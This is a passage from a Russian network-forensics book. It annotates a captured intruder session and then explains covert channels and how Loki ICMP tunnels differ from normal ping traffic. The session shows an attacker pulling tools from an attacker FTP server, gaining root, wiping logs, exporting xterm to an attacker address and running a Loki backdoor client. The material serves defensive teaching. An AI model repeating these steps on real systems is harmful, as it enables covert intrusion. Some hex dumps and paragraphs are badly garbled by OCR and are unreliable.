Kernel 2.2.14 15mdk on an i686
login: pokey
Password:
В этих первых нескольких строках атакующий регистрируется в системе
с действительным идентификатором pokey, который может быть учетной
записью атакующего, размещенной в системе когда то раньше. Давайте по-
смотрим на следующие несколько строк.
Last login: Sun Aug 27 16:43:34 from attack.com
[pokey@victim pokey]$ w
4:45pm up 2 days, 8:04, 3 users, load average: 0.00, 0.00, 0.00
USER TTY
FROM
LOGIN© IDLE JCPU PCPU WHAT
Root tty1
Fri 8am 3:59m 0.21s 0.17s  bash
Pokey ptrs/0 attack 4:45pm 0:00s 0.04s 0.01s w
Это обычная рабочая процедура для большинства атакующих на систе-
мах UNIX. Атакующие выполняют команду w, чтобы увидеть системное
время, кто зарегистрирован в системе и что зарегистрированные пользова-
тели делают в данный момент в системе.
[pokey@victim pokey]$ ftp 10.1.1.90
Connected to 10.1.1.90.
220 attacker FTP server (Version wu 2.6.0(1) Tue Jan 4 19:41:20 GMT
2000) ready.
Name (10.1.1.90:pokey): anonymous
331 Guest login ok, send your complete e mail address as password.
Password:
230 The response '' is not valid
230 Next time please use your e mail address as your password
230
for example: joe@victim
230 Guest login ok, access restrictions apply.

Выполнение сетевого наблюдения
203
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> bin
200 Type set to I.
ftp> get a.tar
local: a.tar remote: a.tar
200 PORT command successful.
150 Opening BINARY mode data connection for a.tar (51200 bytes).
226 Transfer complete.
51200 bytes received in 0.0503 secs (9.9e+02 Kbytes/sec)
ftp> quit
221 You have transferred 51200 bytes in 1 files.
221 Total traffic for this session was 51795 bytes in 1 transfers.
221 Thank you for using the FTP serviee on attacker.
221 Goodbye.
Атакующий немедленно инициирует анонимный сеанс FTP на 10.1.1.90.
Атакующий загружает один файл с именем a.tar на систему жертву. Скорее
всего атакующий уже был в системе раньше, так как он не особенно интере-
суется рассмотрением каталогов, в поисках файлов на системе жертве. Боль-
шинству хакеров при первом посещении требуется время для исследования
файлов в системе, если атака состоит просто в доступе, а не в краже данных.
[pokey@victim pokey]$ tar xvf a.tar
01
23
Здесь атакующий распаковывает файл, который он загрузил с анонимно-
го сервера FTP. Файл a.tar содержит четыре файла, имеющие неопределен-
ные имена: 0, 1, 2. и 3. Эти файлы являются инструментами атаки, которые
будут использоваться на системе жертве для усиления возможностей доступа
и серьезности атаки. Этот атакующий разумен, чтобы назвать свои утилиты
таким образом, который не раскрывает их функций.

204
Глава 7
[pokey@victim pokey]$ ./1
.. ooOO
Атакующий выполнил программу с именем 1. Ее назначение становится
ясно, когда результаты выполнения создают оболочку root, помеченную
приглашением #. Программа 1 должна быть программой переполнения ло-
кального буфера, которая расширяет привилегии атакующего с доступа на
уровне пользователя до доступа административного уровня.
sh 2.03# /usr/bin/id
uid=0(root) gid=506(pokey) groups=506(pokey)
Атакующий проверяет, что он работает как администратор, вводя пол-
ное имя пути доступа для команды id. Как обычно бывает со многими про-
граммами переполнения локального буфера, атакующий потерял значения
в своей переменной окружения и должен будет вводить полное имя пути
доступа команд, которые он хочет выполнить. Также обратите внимание,
что id группы (gid) не изменился, чтобы обозначать администратора. Свое-
временная команда id администратора на системе жертве покажет, что
учетная запись пользователя выполняется с полномочиями административ-
ного уровня.
Атакующий выполнил программу с именем 0 с аргументом командной
строки рокеу. Видимо, 0 является некоторой разновидностью программы
стирания журналов, так как учетная запись пользователя рокеу больше не
видна как зарегистрированная. Журнал utmp, отвечающий за отслежива-
ние всех пользователей, которые зарегистрировались в данный момент,
больше не имеет записи о рокеу. Атакующий теперь почти невидим для сис-
темного администратора или пользователя системы жертвы.
sh 2.03# ./2 2>/dev/null

Выполнение сетевого наблюдения
205
Какие бы функции ни выполняла программа 2, атакующий перенаправляет
стандартные ошибки (все сообщения об ошибках, которые программа будет
обычно печатать на экране компьютера жертвы) на /dev/null, или мусор-
ную корзину для систем UNIX. He существует способа узнать, что делает про-
грамма 2, но можно сделать разумное предположение. Обычно атакующие
устанавливают черные ходы для поддержания доступа к системе жертве и
установки утилиты сетевого анализатора для перехвата действительных
учетных записей пользователей и паролей в сети жертве для увеличения
своих возможностей доступа. Скорее всего это и делает программа 2.
|h 2.03# ./3 &
[1] 16148
[1]+ Done(21) ./3
Атакующий выполняет программу 3 в фоновом режиме, используя ампер
санд (&) в командной строке. Атакующий оставляет программу 3 выполняться
В системе жертве после окончания своего соединения.
eh 2.03# rm  f 0123 *.tar
Атакующий удаляет все загруженные им файлы, чтобы замести следы.
sh 2.03# exit
exit
[pokey@victim pokey]$ exit
НАГЛЯДНЫЙ ПРИМЕР
В 1996 г. крупный университет в США был центром компрометации бо-
лее 30 армейских сетей США. Атакующие, вероятно, перехватили боль-
шое число учетных записей пользователей и паролей, используемых во-
енным персоналом США, и создали большинство своих соединений с
военными сайтами из этого университета.
Когда мы прибыли в университет, нам предоставили 80 дневные жур-
налы сеансов telnet, которые были чистыми, краткими и понятными.
Это соответствовало более чем 600 страницам данных, описывающим
"вечеринку с цифровым коктейлем", которая имела место в военных се-
тях. Было много жертв, много целей исследования и множество журна-
лов для просмотра.
Так как может потребоваться много времени для просмотра такого
большого объема данных, то при выполнении сетевого наблюдения для
продолжительного периода времени необходимо рассмотреть вопрос о
создании базы данных. Следите за инструментами, используемыми атаку-
ющими, соответствующими IP адресами, нижеследующими жертвами,
пересылаемыми файлами и любыми данными, которые помогают при
исследовании. Эти данные могут оказаться критически важными при по-
пытке осуществить оценку потерь.

206
Глава 7
Когда исследователи просматривают этот журнал, они должны задать
себе вопросы "Какие цели имеет исследование?" и "Что делать дальше?" Ин-
терпретация журналов должна вести к действию. Где находится доказатель-
ство, что произошла атака? Сколько процессов атакующий оставил выпол-
няющимися в системе жертве? Что делает такой процесс? Как можно
идентифицировать подобные процессы, прекратить их, или извлечь их из
системы жертвы для дальнейшего анализа? Какие файлы системных журна-
лов содержат доказательства этой атаки? Что было нужно атакующему? Кто
мог это сделать?
ИТОГИ
Сетевое наблюдение используется для подтверждения, произошел ли ин-
цидент. Кроме того, оно может серьезно повлиять при реагировании на
инцидент. Важно развить умение уверенно чувствовать себя при просмот-
ре шестнадцатеричных данных в перехваченных журналах.
В главе 8 обсуждаются более развитые способы сетевого наблюдения,
которые строятся на разработанных здесь концепциях.

ГЛАВА 8
Дополнительные методы
сетевого наблюдения

208
Глава 8
Так как внешние атакующие и инсайдеры используют слабости сетевой
безопасности, сетевое наблюдение становится все более трудным. В насто-
ящее время существует миллион способов избежать обнаружения при похи '
щении файлов в сети TCP/IP.
Одним из способов избежать обнаружение является использование
скрытых каналов (covert channels). Мы определяем скрытые каналы как лю-
бой режим коммуникации, который является секретным, скрытым и труд-
ным для обнаружения. Так как изощренность атакующих возрастает, то
вам, вероятно, понадобится выполнять сетевое наблюдение и тщательно
исследовать сетевой трафик, чтобы обнаружить скрытые каналы. Здесь си-
стема IDS, брандмауэр и другие источники информации предоставят раз-
личные указатели на атаку. Например, можно обнаружить, что половина
полосы пропускания является пакетами ICMP из Китая. Важными могут
быть новости о том, что ваш вице президент по продажам планирует оста-
вить компанию для работы у конкурента.
В этой главе описаны некоторые известные методы, используемые теми,
кто скрылся на темной стороне, чтобы получить доступ и украсть информа-
цию вашей компании. Задача состоит в том, чтобы узнать, как предупредить
следующее поколение атак, понимая цели атакующего, а также оттачивая
приемы исследования при анализе сетевого трафика.
ЦЕЛИ ПРОФЕССИОНАЛЬНЫХ АТАКУЮЩИХ
Для удержания границ своих сетей от атакующих важно предвидеть эволюцию
атак. Можно получить представление о месте атаки, понимая цели атакующих.
Зная эти цели, можно предугадывать атаки, которые будут выполняться в сети.
Будет ли это хитроумный хакер или доверенный инсайдер, цель обычно
одна: атакующий или злоумышленник незаконной деятельности не хочет
быть пойман. Атакующие хотят ограничить себя следующей деятельностью:
Которая обычно не контролируется
Которую трудно обнаружить
Которую трудно воспроизвести
Которую трудно проследить до IP адреса источника
Занимаясь деятельностью такого типа, атакующий может:
Сделать непростым получение доказательства
• Обеспечить правдоподобное отрицание
На рис. 8.1 предоставлена общая картина деятельности, которую обыч-
но выполняет атакующий, чтобы избежать обнаружения в IDS или другим
сетевым мониторингом. Эта деятельность, а также то, как атакующие могут
избежать обнаружения и поимки, подробно обсуждаются в следующих раз-
делах.

Дополнительные методы сетевого наблюдения
209
Кольцо обнаружения
Рис. 8.1. Каналы коммуникации, которые являются безопасными
для достижения целей атакующего
Деятельность, которая обычно не контролируется
Деятельность, которая обычно не контролируется персоналом сетевой бе-
зопасности, может включать трафик ICMP, трафик SMTP, трафик POP,
трафик Usenet, файлы, сохраненные на внешних носителях, кажущийся
безвредным трафик Web, зашифрованный трафик, трафик предположите-
льно от старшего руководства или руководителей корпорации и трафик,
инициированный из внутренних IP адресов.
ICMP является хорошим примером протокола, который редко контроли-
руется. Трафик ICMP представляет собой межмашинное общение о согласо-
вании лучшего способа доставки пакетов TCP/IP. Когда ICMP переносит не-
достижимые сообщения, то это означает, что вы пытаетесь соединиться с
портом, где не существует принимающей службы. Сообщения ICMP о запро-
сах и объявлениях маршрутизаторов используются маршрутизаторами при
создании статических таблиц маршрутизации. Список типов сообщений
ICMP все увеличивается. Персоналу сетевой безопасности и так хватает
забот, чтобы еще беспокоиться о мониторинге того, что машина сообщает
машине для согласования доставки пакетов. Поэтому ICMP может не конт-
ролироваться, и если это так, то его невозможно рассмотреть детально.
Другим типом сетевого трафика, который может не контролироваться,
является e mail (SMTP, POP и IMAP). Часто требуется строгая политика до
пустимого использования для произвольного контроля за SMTP и РOP, так
как эти протоколы переносят частные сообщения e mail. Поскольку сете-
вые администраторы скорее всего не следят внимательно за чьей то поч
той, то она может оказаться безопасным каналом для незаконной или неав
торизованной коммуникации.

210
Глава 8
Протоколы, которые контролируют организации, будут изменяться вре-
мя от времени, но необходимо знать о протоколах, которые не контроли-
руются. Можно смело предположить, что инсайдеры тоже об этом знают.
Отсутствие мониторинга часто оказывается тупиком, в который упирается
расследование.
Деятельность, которую трудно обнаружить
Деятельность, которую трудно обнаружить, определяется как трафик, кото-
рый перехвачен или прослежен, но требуется более тщательное исследова-
ние, чтобы определить неавторизованный трафик. Такая деятельность
включает скрытые каналы ICMP и UDP, такие как Loki 2.0, каналы команд
HTTP и туннелирование почты.
Туннелирование HTTP трудно обнаружить, так как порты, которые ис-
пользует туннелирование НТГР, могут контролироваться, но трафик мас-
кируется под законный трафик Web. Сам объем трафика Web также мешает
обнаружению. Только тщательное исследование может открыть, какое зло-
вредное назначение содержит пакет. (Скрытые каналы ICMP и HTTP бо-
лее подробно обсуждаются ниже).
Деятельность, которую трудно воспроизвести
Деятельность, которую трудно воспроизвести, включает любой тип трафи-
ка, для которого может не быть никакого инструмента, могущего показать
или реконструировать активность в понятном для человека виде. Наиболее
распространенным препятствием для просмотра сеанса является шифрова-
ние. Более хитроумные атакующие могут создавать шифрованные каналы,
делая сетевое наблюдение неэффективным. Доступность средств шифрова-
ния облегчает атакующим использование программ "оболочек" для шифро-
вания стандартных протоколов.
Мониторинг шифрованного трафика
Мониторинг шифрованного сетевого трафика доказывает, что происходи-
ла коммуникация между определенными IP адресами. Требуемое доказате-
льство может находиться в одной из этих конечных точек.
Многие сетевые протоколы изначально трудны для воспроизведения.
Трафик X Windows, трафик Netbus и другие удаленные сеансы, которые пе-
реносят много графической информации, крайне трудно реконструиро-
вать (см. рис. 8.2). Как показано на рисунке, атакующий проникает в систе-
му и экспортирует xterm (терминальную оболочку X Windows) на свою
машину. После того, как xterm выводится X сервером атакующего, он вы-
полняет программу моделирования с большим объемом графики. Предста-
вьте перегрузку трафика, когда удаленная машина выводит большой объем
графики и посылает ее через сеть в атакующую систему. Миллионы паке-
тов, перехваченные для этого сеанса TCP, все являются двоичными данны-
ми. Как воспроизвести трафик, чтобы посмотреть, что видит атакующий?

Дополнительные методы сетевого наблюдения
211
ф Атакующий получает управление административного уровня над жертвой
с помощью действительных полномочий.
ф Атакующий знает, что протокол telnet часто контролируется и легко воспроизводится,
поэтому он экспортирует xterm с целью создания более сложной проблемы для тех, кто его контролирует.
® Атакующий выполняет xterm display 145.145.145.145:0 &. Эта команда посылает xterm (а не оболочку)
назад на машину (или атакующий создает "облако" перенаправления порта
и пересылает трафик X через Интернет, прежде чем он окончательно приходит на машину атакующего).
© Атакующий выполняет графические программы X, генерируя много двоичного трафика.
Рис. 8.2. Использование X Windows для ухода от обнаружения
или воспроизведения сеанса
Атаки, которые трудно проследить до IP адреса источника
Лучшим примером атаки, которую трудно проследить до адреса источника,
являются атака отказа в обслуживании (DOS --- denial of service). IP адреса ис-
точника обычно бывают поддельными, из за чего их бывает трудно просле-
дить. Электронные доказательства в форме файлов журналов или файлов пе-
рехвата сетевого анализатора сообщают неточные данные. К счастью,
большинство таких атак можно идентифицировать как "детские шалости с
компьютерами, создающие проблемы". Задача в том, насколько трудно про-
следить эти атаки до источника. Как обнаружить, кто переполнил сайт
eCommerce, создавая помехи в полосе пропускания, которая предназначена
для аутентифицированных пользователей?
Поддельная почта или фальшивый адрес e mail также создают некото-
рые проблемы при попытке проследить e mail назад до исходной системы,
которая порождает сообщение. Кто то может найти пересылающий e mail
сервер в стране, не сотрудничающей в области права, и использовать его
для пересылки фальшивой почты. Пересылающий почту сервер обычно ре-
гистрирует IP адрес инициирующей системы, но эта информация может
быть недоступна в связи с не сотрудничающей иностранной организацией.
Затруднение сбора доказательств
Атакующие делают сбор доказательств более трудным, скрывая файлы,
используя стеганографию (искусство скрытия каналов, когда один или не-
сколько файлов прячутся внутри другого), шифрование файлов, стирание
журналов, устанавливая загружаемые модули ядра для использования ва-
шей операционной системы против вас, и размещая троянские программы
и двоичных файлах

212
Глава 8
Другой метод, который могут использовать атакующие для создания помех
при сборе доказательств, состоит в изменении портов, которые они использу-
ют для постоянного доступа к удаленным системам. Когда они изменяют пор-
ты на ходу, чтобы инициировать соединения с жертвой предположительно
случайным образом, это усложняет процесс минимизации (перехвата только
относящейся к делу информации) для профессионалов службы безопасности.
Анализ соединений в широком диапазоне
Для того чтобы суд смог вынести решение о негласном подслушивании,
правоохранительное агентство должно указать, какие порты оно будет кон-
тролировать. Если атакующий реализовал сервер, который может рекон
фигурироваться на ходу для приема на различных портах, то имеется под-
ход с широким диапазоном. Какие порты вы будете контролировать, если
незаконные соединения атакующего выполняются в диапазоне всех пор-
тов? Как минимизировать прослушивание для перехвата только относя-
щихся к делу соединений? Ключ состоит в изъятии приложения, которое
осуществляет соединение в широком диапазоне с машины жертвы, и вы-
полнении подходящего инструментального анализа зловредного приложе-
ния. (См. описания утилит хакеров в главе 16).
Другим методом, который используют профессиональные атакующие для
создания помех при сборе доказательств, является размещение ловушек и об-
манных программ после того, как они использовали систему. Поэтому хоро-
ший исследователь всегда ожидает худшего при ответе любому атакующему.
Реагируйте так, как если бы все, что вы делаете, записывалось монитором на-
жатия клавиш и сохранялось в скрытом файле журнала. При исследовании
инцидента через сегь ожидайте встретить программу перехвата пакетов, ко-
торая перехватывает ваши соединения. Помните, что злонамеренный код мо-
жет сработать, когда вы будете выполнять некоторые действия на систе-
ме жертве. Советуем вам быть осторожнее. Рекомендуем использовать
сетевое наблюдение как один из способов обнаружения любых оставлен-
ных ловушек. Вы можете поймать атакующего, тайно проверяющего, что
его ловушка все еще находится на месте.
Реализация правдоподобного отрицания
Атакующие реализуют правдоподобное отрицание либо маскируя источник
атаки, либо делая практически невозможным присутствие атакующего за
клавиатурой во время инцидента. Украденные учетные записи коммутируе-
мого доступа, анонимные учетные записи оболочки, анонимная почта и
бесплатно доступные соединения Интернета (которые предлагаются в биб-
лиотеках и Интернет кафе) являются примерами методов для сокрытия
идентичности источника. Использование этих типов соединений позволяет
человеку сказать "Это --- не я".

Дополнительные методы сетевого наблюдения
213
Пример инцидента
Джон получил учетную запись и пароль пользователя Мери и решил не-
законно войти на ее сервер РОРЗ и извлечь ее почту. Он знает, что
POP сервер регистрирует такие соединения и что IP адрес системы, ко-
торую он использует, будет записан. Он хочет быть уверен, что записан-
ный в журналах IP адрес никак нельзя связать с ним.
Джон нашел местное Интернет кафе. Он заметил, что кафе заполне-
но больше всего в обеденное время, и если он не будет использовать
свою кредитную карточку для оплаты времени в системе, не будет суще-
ствовать никакого цифрового следа, связывающего его с IP адресом, за-
писанным на РОР сервере.
Как смогут следователи определить, что Джон находился за клавиату-
рой в определенное время? Сначала они могут проверить, что кафе вы-
полняет какую нибудь регистрацию. Возможно, Джон загрузил свою соб-
ственную операционную систему на машине Интернет кафе. Решение
проблем такого вида требует больших усилий и терпения. Часто для на-
хождения атакующих по электронному следу требуются традиционные
следственные действия, такие как допрос (разговор со свидетелями,
определение мотивов).
СКРЫТОЕ УСТРОЙСТВО КАНАЛОВ ICMP
Вы не сможете распознать аномальный трафик, если не сможете опознать
нормальный трафик. Поэтому первый шаг выявления скрытого устройства
каналов состоит в изучении стандартного, предсказуемого поведения допусти-
мого трафика. Чтобы определить скрытое устройство каналов, в протоколах
TCP/IP, требуется углубленное понимание самих нижележащих протоколов.
Мы начнем обсуждение скрытого устройства каналов ICMP с рассмотре-
ния трафика обычного ping и опишем затем, что характеризует аномаль-
ный трафик ping.
НАГЛЯДНЫЙ ПРИМЕР
Желательно не преувеличивать и не считать весь трафик, который не
опознается, скрытым каналом. Мы рассматривали случай, где атакую-
щий использовал новый тип скрытого канала. Вовлеченные организа-
ции были немедленно информированы о признаках скрытой коммуника-
ции атакующего. Было проведено полноценное двухчасовое обучение
для подготовки специалистов компьютерной безопасности для сетевого
наблюдения и получения дополнительных доказательств. Эти специали-
сты должны были докладывать обо всех находках специального скрыто-
го канала. Возможно, они были слабо подготовлены, но по крайней мере
первые пять отчетов о скрытых каналах были ложными сообщениями.
Жертвы просто сообщали о любом трафике, который они не опознава-
ли, как о скрытом канале.

214
Глава 8
Рассмотрение трафика ping
Хорошо известная программа ping была написана с целью проверки, доступен
ли другой хост. Ping имеет стандартный формат, опознаваемый маршрутиза-
торами, и используется для сетевого управления и тестирования. При нор-
мальной работе ping посылает хосту сообщение эхо запроса ICMP, ожидая
возвращения эхо ответа ICMP. Так как трафик ping является стандартным,
то брандмауэры обычно пересылают пакеты ping без тщательной проверки.
Ниже представлен пример обмена пакетами ping между хостами
10.1.1.249 и 10.1.1.248:
[root@linux]# tcpdump  x  v  i eth0  w ping1.bin host 10.1.1.248
and 10.1.1.249 &
[1] 2595
tcpdump: listening on eth0
[root@linux]# ping 10.1.1.248
PING 10.1.1.248 (10.1.1.248) from 10.1.1.249 : 56( 84) bytes of data.
64 bytes from homer (10.1.1.248)
64 bytes from homer (10.1.1.248)
64 bytes from homer (10.1.1.248)
64 bytes from homer (10.1.1.248)
--- 10.1.1.248 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round trip min/avg/max = 1.7/12.0/42.0 ms
[root@linux]#
Этот вывод показывает, что четыре эхо запроса ICMP (пакеты "Вы суще-
ствуете?" были посланы по адресу 10.1.1.248, и 10.1.1.248 ответила на все че-
тыре эхо запроса эхо ответами ICMP (пакеты "Я --- здесь! Я --- здесь!").
Внимательно посмотрите на трафик, который генерируют приведен-
ные выше команды ping.
[root@linux]# asctcpdump.p1  х  v  r pingl.bin | less
1) 19:09:02.328610 10.1.1.249 > 10.1.1.248: icmp: echo request
(ttl 64,id 2210)
2) 4500 0054 08a2 0000 4001 5a15 OaOl 01f9
E..T...,@.Z
3) 0a01 01f8 0800 3037 240a 0000 3ed9 193a
07$...>..:
4) 5ca8 0400 0809 OaOb OcOd OeOf 1011 1213 \
5) 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223
!"#
6) 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&'()*+, ./0123
7) 3435 3637
4567
8) 19:09:02.328927 10.1.1.248 > 10.1.1.249: icmp: echo reply
(ttl 255, id 1851)
9) 4500 0054 073b 0000 ff01 9c7b 0a01 01f8
E..T.; {....
10) 0a01 01f9 0000 3837 240a 0000 3ed9 193a
87$...>..:
1)5ca80400009OObOcOdOeOf10111213 \
12) 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223 .,....:
!"#
13) 242 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&'()*+, ./0123
4) 3435 3637
4567
15) 19:09:03.350999 10.1.1.249 > 10.1.1.248: icmp: echo request

Дополнительные методы сетевого наблюдения
215
(ttl 64, id 2211)
16) 4500 0054 08аЗ 0000 4001 5а14 0а01 01f9 Е. .Т... .@.Z
17) 0a01.01f8 0800 1987 240а 0100 3fd9 193a
$...?,.:
18) 7058 0500 0809 0a0b 0c0d 0e0f 1011 1213 рХ
19) 1415 1617 1819 1a1b 1dd 1e1f 2021 2223
\"»
20) 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&'()*+, ./0123
21) 3435 3637
4567
22) 19:09:03.351959 10.1.1.248 > 10.1.1.249: icmp: echo reply
(ttl 255, id 1852)
23) 4500 0054 073c 0000 ff01 9c7a 0a01 01f8 E..T.<
г....
24) 0a01 01f9 0000 2187 240a 0100 3fd9 193a
!.$...?..:
25) 7058 0500 0809 OaOb OcOd OeOf 1011 1213 pX
26) 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223
!"#
27) 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&'()*+, ./0123
28) 3435 3637
4567
29) 19:09:04.349663 10.1.1.249 > 10.1.1.248: icmp: echo request
(ttl 64, id 2212)
0
500
05
a4
0000
4001
1300101f9
E
.T
,@Z
a01
1
8
00
058 240
0200 40d9 193
$@
2
82 1 0500
80 OObOOdOOf
1011
1213 Q
3
1
1
7
181911
1 1d11f2021
2223
!"#
34) 242
2627
282922b 2 2d 2 2f
3031
3233 $%&'()* ,
/0123
5
3435
3637
4567
36) 19 09:04 349692 10 1 1 248 10.1.1 249
i
p
echo
eply
(ttl 255,
id 1853)
7 4500 0054
73d 0000
ff01
9c79 0a01 01f8
E ,T.
y
38) a
1 01f9 0000 0d8 240 0200 40d9 193a
$. ,@..:
39 251
0500
809 OaOb O Od OeOf 1011
1213
0
0)1
1
1
17 18191 1b1 1d1e1f2021 2223
!"#
142
2627 2829 2a2b
2c2d 2e2f 3031 3233 $%&'()*+, ./0123
42) 3435 3637
4567
Эт
ере ва па е о ормально обме а ping Прежд сего необхо
димо зам
т ть, чообм
ачиа сяспаеаэхо ароа10.11.249оы
лает эхо за рос по адресу 10 1.1.248. 10.1 1 248 затем отве а э о от етом.
Перед вами снова равила омер од для опоз ания дейс вител ого
трафика ping:
Кажд й эхо о вет имее единс венный соо ветствующий эхо за рос.
Если вы видите эхо ответ в сети без соответствующих э о запросов,
которые их включа т, то это является указателем несоответствующе
го трафика.
Отметим, байты, выделенные полужирным шрифтом, в строках 3, 10
17, 24, 31 и 38. Это 16 битовое по е является номером последовательности
пакета ping. Первый эхо запрос имеет номер последовательности 0000,
второй --- 0100, третий --- 0200 и т.д. Номер последовательности увеличим
е ся для каждого эхо запроса, посланного одним процессом ping. Соответ
ствующие эхо ответы возвращают это значение назад, вызывающему про
цессу ping. Таким образом клиент ping может точно определить время,

216
Глава 8
которое потребуется пакету для прохождения по сетям между его хостом и
удаленным хостом. В некоторых редких ситуациях возможно, что эхо ответ
3 вернется к отправителю до эхо ответа 2, но посылающий компьютер счи-
тает пакеты в любом случае. Это дает нам правило номер два для опознания
действительного трафика ping:
Номер последовательности увеличивается на единицу для каждого по-
сланного эхо запроса. Если вы видите обмен эхо запросами и эхо от-
ветами, которые имеют статичный (не изменяющийся) номер
последовательности или номер последовательности, который не воз-
растает, то это будет указатель несоответствующего трафика.
Другое замечание относительно ping --- пакет полезной нагрузки. По
умолчанию полезная нагрузка возрастает побайтно. Вы можете применить
переключатели к стандартной линии команд ping для изменения полезной
нагрузки, но это всегда некоторая повторяемая величина. Правило номер
три для распознавания нормального трафика ping относится к полезной
нагрузке.
Пакеты ping содержат полезную нагрузку с предсказуемой величиной.
Если невозможно создать величину полезных нагрузок ping, вы можете ис-
следовать процесс создания трафика. Если вы видите подобие стандартных
команд UNIX в трафике ping, то это показатель несоответствующего тра-
фика.
Также обратите внимание, что полезная нагрузка для эхо ответов явля-
ется точной копией полезной нагрузки эхо запроса. Последнее правило
для опознания нормального трафика ping:
Эхо ответы содержат полезную нагрузку, которая идентична полез-
ной нагрузке соответствующего запроса. Любое изменение в полез-
ной нагрузке является признаком несоответствующего трафика.
На рис. 8.3 представлены характеристики нормального обмена ping.
1. Эхо запросы инициируют эхо ответы
Тип ICMP Контрольная
сумма
4. Содержимое эхо ответов отражает содержимое соответствующего это запроса
Рис. 8.3. Характеристики ping

Дополнительные методы сетевого наблюдения
217
Если вы видите трафик ping, который не следует всем описанным выше
правилам, возможно, в сети создана некоторая разновидность скрытого ка-
нала. Необходимо определить, почему в сети существуют несоответствую-
щие пакеты. Практически все популярные распределенные агенты атаки
отказа в обслуживании используют пакеты ICMP для скрытой передачи
своих зловредных команд. Существует несколько популярных серверов для
черного хода, которые обрабатывают пакеты ping ICMP как команды.
Распознавание скрытого устройства каналов Loki
Loki является программным пакетом, который использует тот факт, что бо-
льшинство брандмауэров не экранируют трафик ICMP. Loki существует для
большинства версий UNIX (Solaris, Iris, Linux и BSD). Аналогичные про-
граммы существуют и для Windows.
Loki использует пакеты ICMP в качестве агента передачи для создания
скрытого канала коммуникации между хостами. Программа клиента Loki
общается с приложением сервера Loki при помощи пакетов эхо запросов и
эхо ответов ICMP, так же как нормальный обмен ping. Различие состоит в
том, что пакеты эхо запросов и эхо ответов Loki переносят произвольные
команды и вывод. Считайте сервер Loki в качестве корневой оболочки на
системе жертве, получающей команды и посылающей вывод клиенту Loki с
помощью только эхо запросов и эхо ответов ICMP.
Вот что видит атакующий на своем экране при соединении с сервером
Loki на 10.1.1.218:
[root@linux]# ./loki_abcd  d 10.1.1.248
L0KI2 route [(c) 1997 guild corporation worldwide]
Loki> id
0 (root),3(sys),4(adm),6(disk),10(wheel)
Loki> ifconfig  a
ethOLink encap:Ethernet HWaddr 00:50:56:B6:00:7A
inet addr:10.1.1.248 Beast:10.1.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:5179 errors:0 dropped:0 overruns:0 frame:0
TX packets:1463 errors:0 dropped:0 overruns:0 carrier:0
collections:0 txqueuelen:100
Interrupts Base address:0x1000
lo
Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:3924 Metric:1
RX packets:474 errors:0 dropped:0 overruns:0 frame:0
TX packets:474 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
Loki> /stat
Lokid version:
2.0
remote interface:
10.1.1.248
active transport:
iemp
active cryptoiimpiiy
none

218
Глава 8
server uptime:
0.45 minutes
client ID:
2613
packets written:
31
bytes written:
2604
requests:
3
Loki> /quit
По этому выводу можно сказать, что Loki почти то же самое, что получе-
ние административного доступа через telnet. Различие состоит в том, что
вся полезная нагрузка и коммуникация инкапсулируется в пакеты ping
ICMP. Другое различие состоит в том, что Loki не позволяет пользователю
изменять рабочие каталоги. Пользователь ограничен работой в каталоге
/tmp.
Скрытые каналы ICMP стали достаточно популярны в Интернете, и ата-
кующие используют Loki как предпочтительный способ создания черного
хода. Если атакующий компрометирует систему в сети и получает доступ ад-
министративного уровня, он может установить сервер Loki. Правильное
сетевое наблюдение обнаружит следы, необходимые для определения, что
скрытый канал Loki установлен в ваших сетях. Ниже представлен перехват
клиента Loki (10.1.1.249) и сервера Loki (10.1.1.248), общающихся через
скрытый канал ICMP:
1) 19:10:38.420862 10.1.1.249 > 10.1.1.248: icmp: echo reply
(ttl 64, id 2214)
2) 4500 0054 08a6 0000 4001 5a11 0a01 01f9 E..T....@.Z
3) 0a01 01f8 0000 e7d5 350a cdab Ы69 640a
5.... id.
4) 0000 0000 0000 0000 0000 0000 0000 0000
,
5) oooo oooo oooo oopo oooo oooo oooo oooo
6) 0000 0000 0000 0000 0000 0000 0000 0000
7) 0000 0000
8) 19:10:38.459221 10.1.1.248 > 10.1.1.249: icmp: echo request
(ttl 64, id 1855)
9) 4500 0054 073f 0000 4001 5b78 0a01 01f8 E.,T.?.,@.[x....
10) 0a01 01f9 0800 734a 350a cdab b275 6964
sJ5. ... uid
11) 3d30 2872 6f6f 7429 2067 6964 3d30 2872 =0(root) gid=0(r
12) 6f6f 7429 2067 726f 7570 733d 3028 726f oot) groups=0(ro
13) 6f74 292c 3128 6269 6e29 2c32 2864 6165 ot),1(bin),2(dae
14) 6d6f 6e00
mon.
15) 19:10:38.470143 10.1.1.249 > 10.1.1.248: icmp: echo reply
(ttl 254, id 2215)
16) 4500 0054 08a7 0000 fe01 9c0f 0a01 01f9 E. .T
17) 0a01 01f8 0000 7b4a 350a cdab b275 6964
{J5....uid
18) 3d30 2872 6f6f 7429 2067 6964 3d30 2872 =0(root) gid=0(r
19) 6f6f 7429 2067 726f 7570 733d 3028 726f oot) groups=0(ro
20) 6f74 292c 3128 6269 6e29 2c32 2864 6165 ot),1(bin),2(dae
21) 6d6f 6e00
mon.
2) 19:10:38.471127 10.1.1.248 > 10.1.1.249: icmp: echo request
(ttl 64, id 1856)
3 4500 0054 0740 0000 4001 5b77 0a01 01f8 E..Т.®.,@.[w....
24) 0a01 01f9 0800 44d5 350a cdab b229 2c33
D.5. .. .). 3

Дополнительные методы сетевого наблюдения
219
Задача состоит в определении того, что трафик не соответствует стан-
дартному трафику ping. Вспомните характеристики нормального трафика,
и вы увидите здесь аномалии. Если внимательно проверить каждый пакет,
то можно будет заметить три основные различия между приведенным
выше трафиком и нормальным трафиком ping:
Первый пакет обмена ping является эхо ответом, а не эхо запросом.
Номер последовательности (выделенный полужирным) остается cdab,
а не является увеличивающимся числом.
Полезная нагрузка содержит текст, который выглядит как команды и
результат работы UNIX.
